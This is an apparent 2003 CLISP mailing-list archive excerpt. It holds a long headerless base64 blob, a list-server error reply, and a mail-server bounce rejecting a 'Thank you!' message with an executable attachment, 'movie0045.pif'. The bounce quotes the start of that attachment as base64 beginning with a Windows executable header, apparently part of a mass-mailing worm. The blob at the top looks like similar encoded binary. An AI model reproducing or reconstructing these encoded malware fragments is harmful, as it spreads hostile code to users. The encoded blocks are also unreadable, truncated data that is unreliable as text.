AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3 L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01RbFxQRCXoVDbDEpq4Yumyi65HRdpM 3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh /VxSm4iVAk4yXUKq7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0 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 From LISTSERV@java.sun.com Tue Aug 19 06:54:03 2003 Received: from swjscmail2.sun.com ([192.18.99.108] helo=swjscmail2.java.sun.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6vz-0006O5-00 for ; Tue, 19 Aug 2003 06:54:03 -0700 Received: from swjscmail1 (swjscmail1.Sun.COM [192.18.99.107]) by swjscmail2.java.sun.com (Postfix) with ESMTP id 49982220A2 for ; Tue, 19 Aug 2003 07:49:34 -0600 (MDT) From: "L-Soft list server at Sun Microsystems Inc. (1.8e)" To: clisp-list@sourceforge.net Message-ID: Subject: [clisp-list] Re: Thank you! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 06:55:02 2003 X-Original-Date: Tue, 19 Aug 2003 07:46:19 -0600 > Please see the attached file for details. Unknown command - "PLEASE". Try HELP. Summary of resource utilization ------------------------------- CPU time: 0.000 sec Overhead CPU: 0.000 sec CPU model: 4-CPU Ultra-80 Job origin: clisp-list@SF.NET From MAILER-DAEMON Tue Aug 19 06:54:28 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6wO-0006Vk-00 for ; Tue, 19 Aug 2003 06:54:28 -0700 X-Failed-Recipients: message filter, clisp-devel@lists.sourceforge.net From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 06:55:05 2003 X-Original-Date: Tue, 19 Aug 2003 06:54:28 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-devel@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "movie0045.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 102065 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6vs-0006Nq-00 for ; Tue, 19 Aug 2003 06:53:56 -0700 From: To: Subject: Thank you! Date: Tue, 19 Aug 2003 9:53:55 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_017A02DE" Message-Id: This is a multipart message in MIME format --_NextPart_000_017A02DE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_017A02DE Content-Type: application/octet-stream; name="movie0045.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="movie0045.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA 